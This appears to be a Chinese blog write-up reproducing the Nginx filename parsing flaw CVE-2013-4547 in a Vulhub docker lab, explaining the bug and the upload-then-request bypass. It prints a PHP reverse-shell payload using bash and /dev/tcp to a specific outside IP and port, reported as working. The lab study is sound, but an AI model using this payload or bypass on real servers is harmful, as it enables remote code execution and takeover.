龙空技术网

学习Vulhub的Nginx 文件名逻辑漏洞(CVE-2013-4547)

ailx10 88

前言:

此刻兄弟们对“nginx获取后缀名”大概比较关注,小伙伴们都想要剖析一些“nginx获取后缀名”的相关知识。那么小编在网摘上网罗了一些对于“nginx获取后缀名””的相关文章,希望你们能喜欢,小伙伴们快快来了解一下吧!

我个人的理解是先POST一个上传请求,内容是php脚本,但是文件名是txt后缀,只不过这个后缀结尾有一个%20%00,先欺骗web服务器,确实上传了一个txt文件,然后发一个GET请求,URL是这个txt文件路径加上.php,欺骗服务器走php解析,成功执行php文件,最后我演示了一个反弹shell,作为本实验的提升~

ailx10

网络安全优秀回答者

网络安全硕士

去咨询

下面是Vulhub的官方解释:

这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行。举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下:[1]

location ~ \.php$ {    include        fastcgi_params;    fastcgi_pass   127.0.0.1:9000;    fastcgi_index  index.php;    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;    fastcgi_param  DOCUMENT_ROOT /var/www/html;}

正常情况下,只有.php后缀的文件才会被发送给fastcgi解析。而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。

前提:准备好docker环境,下载好vulhub,进入目录 ,开始复现漏洞

docker-compose build //可选docker-compose up -d

完成试验后,记得删除漏洞环境哦~~

docker-compose downdocker system prune -a -f //可选

简单访问一下,说明Nginx 文件名逻辑漏洞(CVE-2013-4547)环境搭建成功了

我们可以上传多种类型的文件,唯独不能上传php文件,但是我能上传内容是php的txt文件,然后在HEX模式下,修改txt文件后缀为2000

我们通过burpsuite来访问它,注意后面加上.php,否则不行

看到这,说明已经成功执行php文件了。那么,我们继续来看进阶的反弹shell ~

<?php system("bash -c 'bash -i &>/dev/tcp/174.137.58.6/8888 0>&1'");?>

先来一个POST请求

再来一个GET请求,虽然显示504,但是

反弹shell成功了

参考^Nginx 文件名逻辑漏洞(CVE-2013-4547)

标签: #nginx获取后缀名